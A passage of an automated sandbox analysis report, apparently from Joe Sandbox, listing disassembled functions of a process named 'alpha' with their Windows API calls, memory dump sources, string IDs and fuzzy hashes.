                                                                                      • Instruction Fuzzy Hash: DD115123A08A8396FA106B68A545478EAA0FF49775FA49334EB2F827D0DE3CD54DC711
                                                                                      Function 00007FF78CF59584 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
                                                                                      • String ID:
                                                                                      • API String ID: 4104442557-0
                                                                                      • Opcode ID: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
                                                                                      • Instruction ID: 20dd94147603e911ac8d15a144998bcda742c072e8c5048989d5fb7fea198803
                                                                                      • Opcode Fuzzy Hash: b889aecb1d922b30460546f960472bac4e2facbbb0b8017922a5a639f3fd93e9
                                                                                      • Instruction Fuzzy Hash: 19114F26604B819BFF00EF60E8451A873A4FB09758F900A34EA6D47B94DF7CD2A9C350
                                                                                      Function 00007FF78CF6711C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 175COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF671F9
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF6720D
                                                                                      • OpenSemaphoreW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF67300
                                                                                        • Part of subcall function 00007FF78CF65740: CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,?,?,00007FF78CF675C4,?,?,00000000,00007FF78CF66999,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF65744
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: OpenSemaphore$CloseErrorHandleLast
                                                                                      • String ID: _p0$wil
                                                                                      • API String ID: 455305043-1814513734
                                                                                      • Opcode ID: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                                                      • Instruction ID: 0a2af080723c6dcd146dd170b4cc0c2b1fec43b4f552fbe1a16c1f35e3859e1f
                                                                                      • Opcode Fuzzy Hash: 39a27b84dfd8631c9037e55d178cc10ed73d1848b9dee361412bcbd5f2f98ace
                                                                                      • Instruction Fuzzy Hash: F761B3A3B1868282FF25EB659411AB9B3A1FF84B80FE54532EA0E07755EF3CD545C720
                                                                                      Function 00007FF78CF41DC0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 139COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heapiswspacememset$AllocProcess
                                                                                      • String ID: %s
                                                                                      • API String ID: 2401724867-3043279178
                                                                                      • Opcode ID: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
                                                                                      • Instruction ID: 955f53c53c0f9cd2f77f0a9b00dc06c949a3b325be9b018338ce27adb3537636
                                                                                      • Opcode Fuzzy Hash: 68dfd2aa9ebba26de86c3f9daebedc58b35cbe7b50de7833d958d4803dd9749a
                                                                                      • Instruction Fuzzy Hash: CC51B473A0868286FB21AF11E8106F9B3A0FF49B94FA44135DA4D4B794EF3CE545C720
                                                                                      Function 00007FF78CF4E260 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: iswdigit
                                                                                      • String ID: GeToken: (%x) '%s'
                                                                                      • API String ID: 3849470556-1994581435
                                                                                      • Opcode ID: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                                                      • Instruction ID: 7254ceccfcfd290bb267423b0ba4ab10b001433a87cc0ede18e617522da005bb
                                                                                      • Opcode Fuzzy Hash: b1c74980886186fc2843b8190b4a082341e47de456d20d62b3525a594f11c7d8
                                                                                      • Instruction Fuzzy Hash: BA518B33A0864286FB25AF15A444A79FBA0FF54B14FB18435DA5D4B3A0DF7DE584CB20
                                                                                      Function 00007FF78CF6992C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF69A10
                                                                                      • RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF69994
                                                                                        • Part of subcall function 00007FF78CF6A73C: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A77A
                                                                                        • Part of subcall function 00007FF78CF6A73C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A839
                                                                                        • Part of subcall function 00007FF78CF6A73C: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF78CF69A82), ref: 00007FF78CF6A850
                                                                                      • wcsrchr.MSVCRT ref: 00007FF78CF69A62
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$CloseEnumOpenwcsrchr
                                                                                      • String ID: %s=%s$.
                                                                                      • API String ID: 3242694432-4275322459
                                                                                      • Opcode ID: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                                                      • Instruction ID: 41a253bb7d253a522d0873fe4caf6898305b6063941e64ed06e5ff9e0b80112c
                                                                                      • Opcode Fuzzy Hash: f0a6781f902405e6d501dc5d40a6bf5070585413eea37f1d1ba285c718ededde
                                                                                      • Instruction Fuzzy Hash: C941B223A0D78286FA54BB11A1506B9F2E1FF457A0FA44234DE5D077D5DE7CE545C320
                                                                                      Function 00007FF78CF654B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 120synchronizationCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCurrentProcessId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF78CF654E6
                                                                                      • CreateMutexExW.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF78CF6552E
                                                                                        • Part of subcall function 00007FF78CF6758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF78CF66999,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF675AE
                                                                                        • Part of subcall function 00007FF78CF6758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF78CF66999,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF675C6
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ErrorLast$CreateCurrentMutexProcess
                                                                                      • String ID: Local\SM0:%d:%d:%hs$wil$x
                                                                                      • API String ID: 779401067-630742106
                                                                                      • Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                                                      • Instruction ID: 164eff6d798f9f7aab8d49a6d5be06ebfee6a4511932bdda6d9cca4cdc71708a
                                                                                      • Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                                                      • Instruction Fuzzy Hash: 29516F73A18A8282FB21AB55E401BFAF361FF94784FA44032FA4E5BA55DE3DD505C720
                                                                                      Function 00007FF78CF5417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CurrentDirectorytowupper
                                                                                      • String ID: :$:
                                                                                      • API String ID: 238703822-3780739392
                                                                                      • Opcode ID: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
                                                                                      • Instruction ID: b6411f5dae35e3978f6036d1d5b9b1a1de76ae6dadd1a29b8492d7c88b5551e8
                                                                                      • Opcode Fuzzy Hash: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
                                                                                      • Instruction Fuzzy Hash: B111225360824182FB25AB61A805239FAE0FF4D799F969132EF0D47794DE3CD106C724
                                                                                      Function 00007FF78CF458D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseOpenQueryValue
                                                                                      • String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
                                                                                      • API String ID: 3677997916-3870813718
                                                                                      • Opcode ID: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                                                      • Instruction ID: 79193dd67006b2647e0fb43877cea90aead3f654a0b6c0d831132c011387f097
                                                                                      • Opcode Fuzzy Hash: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                                                      • Instruction Fuzzy Hash: 8D114C33618B81C7EB10AB50E44066AFBB0FB897A4FA04235EA8D06768DF7CC048CB10
                                                                                      Function 00007FF78CF44C18 Relevance: 7.7, APIs: 5, Instructions: 164COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memsetwcsrchr$wcschr
                                                                                      • String ID:
                                                                                      • API String ID: 110935159-0
                                                                                      • Opcode ID: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
                                                                                      • Instruction ID: 532e018e20e4c765890626097702a9c4684cc7d27b7eb62f3dc0bce329f90b0d
                                                                                      • Opcode Fuzzy Hash: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
                                                                                      • Instruction Fuzzy Hash: 0351D863B0978285FE21AB119814BF9E7A0BF49BA4FA88531CE5E5B7C4DE3CE545C310
                                                                                      Function 00007FF78CF55EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$CurrentDirectorytowupper
                                                                                      • String ID:
                                                                                      • API String ID: 1403193329-0
                                                                                      • Opcode ID: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                                                      • Instruction ID: 1cd0e4a57d97456e033f70a8b2a497342e5c639707c23e3eb22f826812171759
                                                                                      • Opcode Fuzzy Hash: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                                                      • Instruction Fuzzy Hash: ED51C327A0668185FB65EF20D9006BAB7A0FF48798FA58135DB1D87794EF3CE644C320
                                                                                      Function 00007FF78CF491C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • memset.MSVCRT ref: 00007FF78CF4921C
                                                                                      • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF78CF493AA
                                                                                        • Part of subcall function 00007FF78CF48B20: wcsrchr.MSVCRT ref: 00007FF78CF48BAB
                                                                                        • Part of subcall function 00007FF78CF48B20: _wcsicmp.MSVCRT ref: 00007FF78CF48BD4
                                                                                        • Part of subcall function 00007FF78CF48B20: _wcsicmp.MSVCRT ref: 00007FF78CF48BF2
                                                                                        • Part of subcall function 00007FF78CF48B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF48C16
                                                                                        • Part of subcall function 00007FF78CF48B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF48C2F
                                                                                        • Part of subcall function 00007FF78CF48B20: wcschr.MSVCRT ref: 00007FF78CF48CB3
                                                                                        • Part of subcall function 00007FF78CF5417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF78CF541AD
                                                                                        • Part of subcall function 00007FF78CF53060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF78CF492AC), ref: 00007FF78CF530CA
                                                                                        • Part of subcall function 00007FF78CF53060: SetErrorMode.KERNELBASE ref: 00007FF78CF530DD
                                                                                        • Part of subcall function 00007FF78CF53060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF530F6
                                                                                        • Part of subcall function 00007FF78CF53060: SetErrorMode.KERNELBASE ref: 00007FF78CF53106
                                                                                      • wcsrchr.MSVCRT ref: 00007FF78CF492D8
                                                                                      • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF78CF49362
                                                                                      • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF78CF49373
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
                                                                                      • String ID:
                                                                                      • API String ID: 3966000956-0
                                                                                      • Opcode ID: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
                                                                                      • Instruction ID: 6e5b71636e02079ed30608287a659e2a178b4bf56b4533739583087dc5172261
                                                                                      • Opcode Fuzzy Hash: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
                                                                                      • Instruction Fuzzy Hash: 5751B333B0968286FB61AF11D8506B9B3A9FB49B94FA84035DA0D4BB95DF3CE251C710
                                                                                      Function 00007FF78CF42A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memset$_setjmp
                                                                                      • String ID:
                                                                                      • API String ID: 3883041866-0
                                                                                      • Opcode ID: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                                                      • Instruction ID: 474067e2a2b605b1cdae4bfd164a7d4a664d6b8c7fdd033c9e4b352a78008804
                                                                                      • Opcode Fuzzy Hash: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                                                      • Instruction Fuzzy Hash: 03515033608B868AFB61DF21D8507E9B7A4FB49748FA04135EA4D8BA48DF3CD644CB10
                                                                                      Function 00007FF78CF4B49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF4B4BD
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506D6
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506F0
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF5074D
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF50762
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF4B518
                                                                                      • _wcsicmp.MSVCRT ref: 00007FF78CF4B58B
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$_wcsicmp$AllocProcess
                                                                                      • String ID: ELSE$IF/?
                                                                                      • API String ID: 3223794493-1134991328
                                                                                      • Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                                                      • Instruction ID: 4a0c5b60d467ab50305fc178503df6c2cbf6150d14ee8670ea3039d2671a5b5c
                                                                                      • Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                                                      • Instruction Fuzzy Hash: BB417A23E0DA4382FB55BB24A4116B9E6A1BF54744FF45039DA0E4B3A6DE3CE444C770
                                                                                      Function 00007FF78CF6E3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
